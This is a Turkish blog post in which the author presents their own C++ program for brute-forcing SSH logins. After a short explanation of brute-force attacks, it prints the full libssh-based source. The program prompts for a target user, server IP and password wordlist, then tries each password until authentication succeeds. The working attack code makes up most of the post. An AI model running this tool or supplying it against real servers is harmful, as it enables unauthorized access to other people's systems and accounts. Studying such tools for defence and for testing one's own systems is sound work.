C++ ile SSH Bruteforce

Mar 11 2023
Giriş Yeni makaleme hoş geldiniz, bugün size SSH Brute Force Saldırıları gerçekleştirmek için C++ betiğimi göstereceğim. Brute Force nedir? Bilgi veren: Kaba kuvvet saldırısı, parolaları, oturum açma kimlik bilgilerini ve şifreleme anahtarlarını kırmak için deneme yanılma yöntemini kullanan bir bilgisayar korsanlığı yöntemidir.

giriiş

Yeni makaleme hoş geldiniz, bugün size SSH Brute Force Saldırıları gerçekleştirmek için C++ betiğimi göstereceğim.

Brute Force nedir?

Bilgi veren:

Kaba kuvvet saldırısı, parolaları, oturum açma kimlik bilgilerini ve şifreleme anahtarlarını kırmak için deneme yanılma yöntemini kullanan bir bilgisayar korsanlığı yöntemidir. Bireysel hesaplara ve kuruluşların sistemlerine ve ağlarına yetkisiz erişim elde etmek için basit ama güvenilir bir taktiktir. Bilgisayar korsanı, doğru oturum açma bilgilerini bulana kadar, genellikle çok çeşitli kombinasyonları test etmek için bir bilgisayar kullanarak birden çok kullanıcı adı ve parola dener.

"Kaba kuvvet" adı, kullanıcı hesaplarına erişmek için aşırı güçlü girişimlerde bulunan saldırganlardan gelir. Eski bir siber saldırı yöntemi olmasına rağmen, kaba kuvvet saldırıları denenmiş ve test edilmiştir ve bilgisayar korsanları arasında popüler bir taktik olmaya devam etmektedir.

Daha önce yayınlanan bu makalede, Hydra'ya ve SSH kaba kuvvet için nasıl çalıştığına dair kısa bir genel bakış sağladım :

Hidra — BruteForce

kod

C++ ile SSH sunucularına saldırmak için kullandığım kodu görmenin tam zamanı. Aşağıda, bu PoC için sınıf dosyasının bir parçacığı bulunmaktadır:

#include <iostream>
#include <string>
#include <libssh/libssh.h>
#include "Utils/ColorClass.h"

using namespace std;
class SSHHost{
    public:
        string ip;
        string user;
SSHHost(string ip,string user){
            this->ip = ip;
            this->user = user;
        }
ssh_session SSHConnection(string ip, string user){
            yellow("Connecting to SSH...\n");
ssh_session session = ssh_new();
            ssh_options_set(session, SSH_OPTIONS_HOST, ip.c_str());
int rc = ssh_connect(session);
            if (rc != SSH_OK){
                red("\nServer connection unsuccesfull\n");
                cout<<"Error: "<<ssh_get_error(session) << endl;
            }
            else if(rc == 0){
                green("\nServer connection succesfull\n");
                return session;
            }
        }
int SSHAuth(ssh_session session,string user,string password){
            // Authentication
            int rc;
            rc = ssh_userauth_password(session, user.c_str(), password.c_str());
            if (rc != SSH_AUTH_SUCCESS){
            }
            else if (rc ==  SSH_AUTH_SUCCESS) {
                green("Authentication Completed with password: ");
                cout<<password<<"\n";
            }
            return rc;
        }
    
};

#include <iostream>
#include <string>
#include <thread>
#include <vector>
#include "Host.h"
#include "Utils/WordlistToVector.h"
using namespace std;

int main(){
    ssh_session session;
    int check;
    string ip;
    string user;
    string file;
    cout<<"Put the user to attack: ";
    cin>>user;
    cout<<"Put the IP of SSH Server to attack: ";   
    cin>>ip;
    cout<<"Put the Path of Wordlist File: ";
    cin>>file;
    vector<string> passwords = readPasswordsFromFile(file);
    SSHHost ssh_host(ip,user);
    session = ssh_host.SSHConnection(ssh_host.ip,ssh_host.user);
    for (int i = 0; i < passwords.size(); i++) {
        cout<<passwords[i]<<"\n";
    }
    for (int i = 0; i < passwords.size(); i++) {
        
        check = ssh_host.SSHAuth(session,ssh_host.user,passwords[i]);
        if(check == SSH_AUTH_SUCCESS){
            ssh_disconnect(session);
            break;
        }}
    return 0;
}

Ana dosya, saldırı için kullanıcı ve IP adresi hakkında bilgi ister ve ardından diğer işlevleri yürütür.

Diğer işlevler SSHHost sınıf dosyasındadır ve kullanıcı ve IP olmak üzere iki özniteliği vardır.

Ardından bir yapıcı yönteminiz, SSHConnection ve SSHAuth yöntemleriniz olsun . SSHConnection , SSHAuth kullanan bir oturum döndürür .

PoC

Komut dosyasını çalıştırın ve kullanıcı istemlerine uygun şekilde yanıt verin:

Bu saldırı yönteminde yer alan adımların tekrarı oldukça kolaydır ve modern siber dünyada geçerli bir saldırı yöntemidir.

Yukarıdaki çıktı, keşfedilen bir parolayı gösterir ve başarılı bir kaba kuvvet saldırısına işaret eder…

Sonuçlar

Bu, Sınıfları ve Nesneleri kullanan ilk saldırgan komut dosyalarımdan biridir. Makalemi okuduğun için teşekkür ederim. Umarım içeriği beğenmişsinizdir!

S12.